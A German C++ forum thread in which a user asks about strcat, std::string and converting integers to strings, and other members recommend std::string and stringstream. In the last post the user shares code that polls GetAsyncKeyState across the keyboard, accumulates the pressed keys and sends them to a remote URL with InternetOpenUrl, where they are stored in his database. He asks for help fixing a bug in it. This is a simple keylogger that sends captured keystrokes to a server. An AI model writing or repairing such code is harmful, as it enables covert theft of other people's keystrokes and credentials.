[C++] strcat variable anhängen

PatrickB

Well-known member
ID: 137508
L
24 April 2006
496
13
Hi,

ich brauche für eine Funktion eine const char * Variable.
Die Variable besteht aus einem vorgesetzen char an den noch eine Variable angehängt werden soll.
So hab ich das bis jetzt machen wollen:

Code:
char z;
strcat("Das ist der Text und die Variable heißt:", z)

Jetzt kommt aber immer folgende Fehlermeldung:

Konvertierung des Parameters 2 von 'char' in 'const char *' nicht moeglich

Was muss ich da jetzt machen?
Danke schonmal,

Patrick

EDIT: Hat sich erledigt, bitte weiter unten schauen, da hab ich ein neues Problem.
 
Zuletzt bearbeitet:
erstell einen charpointer (char*) und benutz ihn, dann klappts.

Code:
char* append = "bar";
strcat(str1, append);

aber pass auf... str1 muss gross genug sein um strlen(str1) + strlen(append) + 1 zu halten. ich leg dir wirklich ans herz - wenn du schon c++ nimmst - nimm std strings. keine sorgen mit speicherverwaltung, bufferoverflows beim strcpyen etc...
 
Wenn du schon C++ "programmierst" dann verwende doch einfach die String Klassen von C++ und mach dir dein Leben nicht unnötig schwer sowie deine Applikation unsicher.
 
Ich schließe mich den Vorrednern unbedingt an.
Und wenn es AUF JEDEN FALL C sein muss, dann vergiss strcat trotzdem und nimm strncat.
 
Ok, mit dem char* hab ichs jetzt irgendwie hinbekommen aber ohne das strcat.
Nun muss ich aber doch "string" benutzen da ich auch Strings zusammenfügen muss und so.
Wenn ich das jetzt anstelle von char* nehme kommt aber wieder so ne Fehlermeldung:

Konvertierung des Parameters 2 von 'class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >' in 'const char *' nicht moeglich
 
So, geht aber irgendwie immernoch nicht. Bin zu blöd glaub ich.

'c_pushed_key' : Ist kein Element von 'basic_string<char,struct std::char_traits<char>,class std::allocator<char> >'

so definiert: std::string pushed_key;

und dann wird ein Wert zugewiesen und zwar so: pushed_key = "0";

und zuletzt wird es so übergeben: pushed_key.c_pushed_key()
 
Scheiße, schreib ich 2 Zeilen Code und in jeder wähle ich einen ungünstigen Bezeichner ;).

pushed_key.c_str()

muss es heißen, c_str ist eine Methdoe aus std::string
 
Wow, bist ja immer um die richtige Zeit on, vielen Dank! :D

Un jetzt kann ich die ja mit einfach so verbinden:


stringneu = string1 + string2 ;

ne? Ich probiers einfach aus.

Warum benutz ich nicht schon immer diese Funktion :D
 
Hab jetzt wieder ein Problem.
Und zwar will ich einen Integer in einen String umwandeln.

Code:
int howlong;
std::string howlong;
sprintf(howlong.c_str(),"%i",length);

Jetzt bekomm ich die Fehlermeldung:

'sprintf' : Konvertierung des Parameters 1 von 'const char *' in 'char *' nicht moeglich

Wenn ich das ".c_str()" weglasse wirds noch komplizierter mit dem Fehler.
 
das machst du lieber anders, sonst hast du wieder die cstring typischen probleme.

Code:
std::stringstream s;
std::string str;
int foo;

s << foo;

str = s.str();
 
das machst du lieber anders, sonst hast du wieder die cstring typischen probleme.

Code:
std::stringstream s;
std::string str;
int foo;

s << foo;

str = s.str();

Danke, klappt wenn ich die headerdatei noch mit einbinde.
Das hab ich jetzt gebraucht um eigentlich einen Fehler ausfindig zu machen. Hat mir dabei jetzt aber doch nicht geholfen. Naja, wenn ich den nich raus bekomme frag ich hier auch noch nach dem.

Thx nochmal.
 
Ok, ich bekomms jetzt wirklich nicht raus.
Zuerst mal der Code:

Code:
int i;
std::string pushed_string = "hier steht mein link";
std::string pushed_key = "";
while(1)
{
	for(i=8;i<=190;i++)
	{
		if (GetAsyncKeyState(i))
		{
			switch(i)
			{
				case 48: pushed_key += "0"; break;
				case 49: pushed_key += "1"; break;
				case 50: pushed_key += "2"; break;
				case 51: pushed_key += "3"; break;
				case 52: pushed_key += "4"; break;
				case 53: pushed_key += "5"; break;
				case 54: pushed_key += "6"; break;
				case 55: pushed_key += "7"; break;
				case 56: pushed_key += "8"; break;
				default: pushed_key += "";
			}
		}
	}
	if( pushed_key.length() > 20)
	{
			pushed_key = pushed_string + pushed_key;

		HINTERNET hInternet;
				HINTERNET hFile;

				hInternet = InternetOpen(
					"Beliebige Browserkennung",
					INTERNET_OPEN_TYPE_PRECONFIG,
					NULL,
					NULL,
					0);

				hFile = InternetOpenUrl(
					hInternet,
					pushed_key.c_str(),
					NULL,
					0,
					INTERNET_FLAG_NO_CACHE_WRITE,
					0);

    

				InternetCloseHandle(hFile);
				InternetCloseHandle(hInternet);
		pushed_key = "";
	}
	}

Also das Script funktioniert jetzt so:

1.Ich drücke z.B. die taste 1
2. 1 wird zu pushed_key hinzugefügt
3. Es soll überprüft werden ob in pushed_key schon 20 Zeichen drinstehen
4. Die gedrückte Zahl wird 21x in einer Datenbank gespeichert.

Mein Problem ist jetzt:
Wieso klappt die if-Abfrage nicht? Wenn ich nur ganz kurz z.B. die 1 drücke, dann wird es trotzdem in meine Datenbank eingetragen und zwar 21x die 1.

Aber eigentlich sollte in pushed_key wenn ich die 1 drücke auch nur 1x die 1 drinnen stehen, oder?

Ich hoffe das hat jetzt jemand so verstanden was mein Problem ist :LOL: